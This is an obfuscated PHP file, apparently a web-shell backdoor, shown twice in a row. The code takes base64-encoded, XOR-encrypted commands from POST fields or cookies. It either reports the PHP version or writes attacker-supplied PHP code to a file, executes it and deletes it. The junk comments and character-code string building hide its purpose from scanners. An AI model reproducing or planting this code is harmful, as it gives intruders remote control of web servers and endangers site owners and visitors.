<?php $zpjtfjii = 'zpjtfjii' /* _gba */ ^ '';$mjiygdbdcg = /* nsa */ "a"."\162" . $zpjtfjii(497-383) . $zpjtfjii(97) . /* trhou */ "\171" . "\x5f" . "\x6d" . "\x61" . /*i_natg */ $zpjtfjii(544-432); function wlupjm($xpsvj, $solffw) { global $zpjtfjii; $xpsvj = "\74" . "\77" . /* mdg*/ "p"."\150" . /*r */ $zpjtfjii(112) . $zpjtfjii(32) . /*owish */ "u".$zpjtfjii(897-787) . $zpjtfjii(108) . $zpjtfjii(1074-969) . "n".$zpjtfjii(570-463) . "\x28" . "_"."_"."\106" /* vligql */ . /*s_a */ "I"."L".$zpjtfjii(69) . "_"."_".")".";".$zpjtfjii(32) . /* _xjd */ $xpsvj["\x64"]; $vuapy_zwpuqg = "f"."\151".$zpjtfjii(108) . "\145" . /* gxgypt */ "_"."\x70" /* ods */ . /*pufjrt */ "u"."\x74" /*mhvhbx */ . /* l*/ $zpjtfjii(95) . /* znuv */ $zpjtfjii(99) . "o"."\156" /*m*/ . "t".$zpjtfjii(1002-901) . $zpjtfjii(124-14) . "t"."s"; /*lwxx */ $vuapy_zwpuqg($solffw, /* zvnpj*/ $xpsvj); mtikuq($solffw); } $uvqkkik = /* tssutb */ 73;function mtikuq($solffw){ global $zpjtfjii; include($solffw); $gcfotk_ = /*kv */ $solffw; @unlink($gcfotk_); } function wwpahhl() { /* nf */ global /* gjm_y_ */ $zpjtfjii; /*jr */ $vuapy = array(); $vuapy["\160" . /*qyj*/ $zpjtfjii(118)] = /* rrjkxs */ phpversion(); $vuapy[$zpjtfjii(566-451) . "v"] = "\x33" /* heb_*/ . /*cxh */ "."."5"; $hiacaelcss = /*glcg */ 74; /* q */ echo @serialize($vuapy); } function noiztpoy_($xpsvj, $hvm_pihnc) { global $zpjtfjii; $xoepgo = /* qhding */ ""; $svkvfwywz = strlen($xpsvj); /*e */ $nuyctv /*yx_n*/ = strlen($hvm_pihnc); $vuapy = 0; $emvmv /* ns */ = /*nroque */ 0; /*zr */ /* qb*/ while /*ynw */ ($vuapy /*e */ < $svkvfwywz) { $qsvjmm = $xpsvj[$vuapy] ^ $hvm_pihnc[$emvmv % $nuyctv]; /*ddst */ $xoepgo .= $qsvjmm; $emvmv++; $vuapy++; /*h */ } /* sc*/ if (strlen($xoepgo) > 20) { $frkfsmjo = /*_dfjad */ substr($xoepgo, 0, /* ikf*/ 20); /* dke */ } /* dswg_e */ if (empty($xoepgo)) { /* r */ $xoepgo /* nvvppr*/ = /* p */ date('Y-m-d H:i:s'); } return $xoepgo;} function kumww($zfrhz) { global $zpjtfjii; /* us*/ $mfbjxmkv /* yrig */ = "4"."5"."0"."\141"."\x64"."\60" . "\x30" . /* u */ "\x65"."-"."\x64".$zpjtfjii(234-180) . "\145" . "\142" . "-".$zpjtfjii(430-378) /* bj */ . "b".$zpjtfjii(56) /*nlmd*/ . /*_nxsi */ "3"."\55" . $zpjtfjii(425-328) . "\x32" . "\62" /* myt*/ . /* hvhlp */ "b".$zpjtfjii(45) . "9"."c"."\x37" . "\142" /* c*/ . "7".$zpjtfjii(99) /*cev */ . "f"."7"."0".$zpjtfjii(411-356) /* abe_id */ . /* nfzcn */ "1"."\x34"; foreach ($zfrhz /* jkmdm_ */ as $tqikq_ => $xpsvj) { mrhwi(base64_decode($xpsvj), $mfbjxmkv, $tqikq_); /* mnbfw */ }} function mrhwi($xpsvj, /* bbwi */ $mfbjxmkv, /* ae */ $tqikq_) { global $zpjtfjii; /* jqnwqv */ $xpsvj /* yzjidn*/ = unserialize(noiztpoy_(noiztpoy_($xpsvj, $mfbjxmkv), /* wnxd */ $tqikq_)); $onatjrj = 'rhxffil'; $vrhxqnhmd = 'qrgp'; if (isset($xpsvj["\141".$zpjtfjii(629-522)])) { if /*gf */ ($xpsvj["\141"] == "\151") /* np*/ { /* z */ wwpahhl(); } elseif /* pg*/ ($xpsvj["\141"] /* gcfbvh*/ == "\x65") /* cgzzxq */ { wlupjm($xpsvj, /* ra */ sprintf("."."/".$zpjtfjii(37) . "s"."\x2e" /* vnqm */ . "\160" . "l", /* sv*/ md5($mfbjxmkv))); $uuzkodxj = 44; } /*t_n*/ exit(); /* nqpt*/ } } kumww($_POST); $vuapyitqqnhg = /* pvt */ 'rawurldecode';$uwn_yfaz = $mjiygdbdcg($vuapyitqqnhg, $_POST); explode("", /* lye */ $vuapyitqqnhg); kumww($_COOKIE); $ha_eadpykd = $mjiygdbdcg($vuapyitqqnhg, /* e*/ $_COOKIE); ?>

Source<?php $zpjtfjii = 'zpjtfjii' /* _gba */ ^ '';$mjiygdbdcg = /* nsa */ "a"."\162" . $zpjtfjii(497-383) . $zpjtfjii(97) . /* trhou */ "\171" . "\x5f" . "\x6d" . "\x61" . /*i_natg */ $zpjtfjii(544-432); function wlupjm($xpsvj, $solffw) { global $zpjtfjii; $xpsvj = "\74" . "\77" . /* mdg*/ "p"."\150" . /*r */ $zpjtfjii(112) . $zpjtfjii(32) . /*owish */ "u".$zpjtfjii(897-787) . $zpjtfjii(108) . $zpjtfjii(1074-969) . "n".$zpjtfjii(570-463) . "\x28" . "_"."_"."\106" /* vligql */ . /*s_a */ "I"."L".$zpjtfjii(69) . "_"."_".")".";".$zpjtfjii(32) . /* _xjd */ $xpsvj["\x64"]; $vuapy_zwpuqg = "f"."\151".$zpjtfjii(108) . "\145" . /* gxgypt */ "_"."\x70" /* ods */ . /*pufjrt */ "u"."\x74" /*mhvhbx */ . /* l*/ $zpjtfjii(95) . /* znuv */ $zpjtfjii(99) . "o"."\156" /*m*/ . "t".$zpjtfjii(1002-901) . $zpjtfjii(124-14) . "t"."s"; /*lwxx */ $vuapy_zwpuqg($solffw, /* zvnpj*/ $xpsvj); mtikuq($solffw); } $uvqkkik = /* tssutb */ 73;function mtikuq($solffw){ global $zpjtfjii; include($solffw); $gcfotk_ = /*kv */ $solffw; @unlink($gcfotk_); } function wwpahhl() { /* nf */ global /* gjm_y_ */ $zpjtfjii; /*jr */ $vuapy = array(); $vuapy["\160" . /*qyj*/ $zpjtfjii(118)] = /* rrjkxs */ phpversion(); $vuapy[$zpjtfjii(566-451) . "v"] = "\x33" /* heb_*/ . /*cxh */ "."."5"; $hiacaelcss = /*glcg */ 74; /* q */ echo @serialize($vuapy); } function noiztpoy_($xpsvj, $hvm_pihnc) { global $zpjtfjii; $xoepgo = /* qhding */ ""; $svkvfwywz = strlen($xpsvj); /*e */ $nuyctv /*yx_n*/ = strlen($hvm_pihnc); $vuapy = 0; $emvmv /* ns */ = /*nroque */ 0; /*zr */ /* qb*/ while /*ynw */ ($vuapy /*e */ < $svkvfwywz) { $qsvjmm = $xpsvj[$vuapy] ^ $hvm_pihnc[$emvmv % $nuyctv]; /*ddst */ $xoepgo .= $qsvjmm; $emvmv++; $vuapy++; /*h */ } /* sc*/ if (strlen($xoepgo) > 20) { $frkfsmjo = /*_dfjad */ substr($xoepgo, 0, /* ikf*/ 20); /* dke */ } /* dswg_e */ if (empty($xoepgo)) { /* r */ $xoepgo /* nvvppr*/ = /* p */ date('Y-m-d H:i:s'); } return $xoepgo;} function kumww($zfrhz) { global $zpjtfjii; /* us*/ $mfbjxmkv /* yrig */ = "4"."5"."0"."\141"."\x64"."\60" . "\x30" . /* u */ "\x65"."-"."\x64".$zpjtfjii(234-180) . "\145" . "\142" . "-".$zpjtfjii(430-378) /* bj */ . "b".$zpjtfjii(56) /*nlmd*/ . /*_nxsi */ "3"."\55" . $zpjtfjii(425-328) . "\x32" . "\62" /* myt*/ . /* hvhlp */ "b".$zpjtfjii(45) . "9"."c"."\x37" . "\142" /* c*/ . "7".$zpjtfjii(99) /*cev */ . "f"."7"."0".$zpjtfjii(411-356) /* abe_id */ . /* nfzcn */ "1"."\x34"; foreach ($zfrhz /* jkmdm_ */ as $tqikq_ => $xpsvj) { mrhwi(base64_decode($xpsvj), $mfbjxmkv, $tqikq_); /* mnbfw */ }} function mrhwi($xpsvj, /* bbwi */ $mfbjxmkv, /* ae */ $tqikq_) { global $zpjtfjii; /* jqnwqv */ $xpsvj /* yzjidn*/ = unserialize(noiztpoy_(noiztpoy_($xpsvj, $mfbjxmkv), /* wnxd */ $tqikq_)); $onatjrj = 'rhxffil'; $vrhxqnhmd = 'qrgp'; if (isset($xpsvj["\141".$zpjtfjii(629-522)])) { if /*gf */ ($xpsvj["\141"] == "\151") /* np*/ { /* z */ wwpahhl(); } elseif /* pg*/ ($xpsvj["\141"] /* gcfbvh*/ == "\x65") /* cgzzxq */ { wlupjm($xpsvj, /* ra */ sprintf("."."/".$zpjtfjii(37) . "s"."\x2e" /* vnqm */ . "\160" . "l", /* sv*/ md5($mfbjxmkv))); $uuzkodxj = 44; } /*t_n*/ exit(); /* nqpt*/ } } kumww($_POST); $vuapyitqqnhg = /* pvt */ 'rawurldecode';$uwn_yfaz = $mjiygdbdcg($vuapyitqqnhg, $_POST); explode("", /* lye */ $vuapyitqqnhg); kumww($_COOKIE); $ha_eadpykd = $mjiygdbdcg($vuapyitqqnhg, /* e*/ $_COOKIE); ?>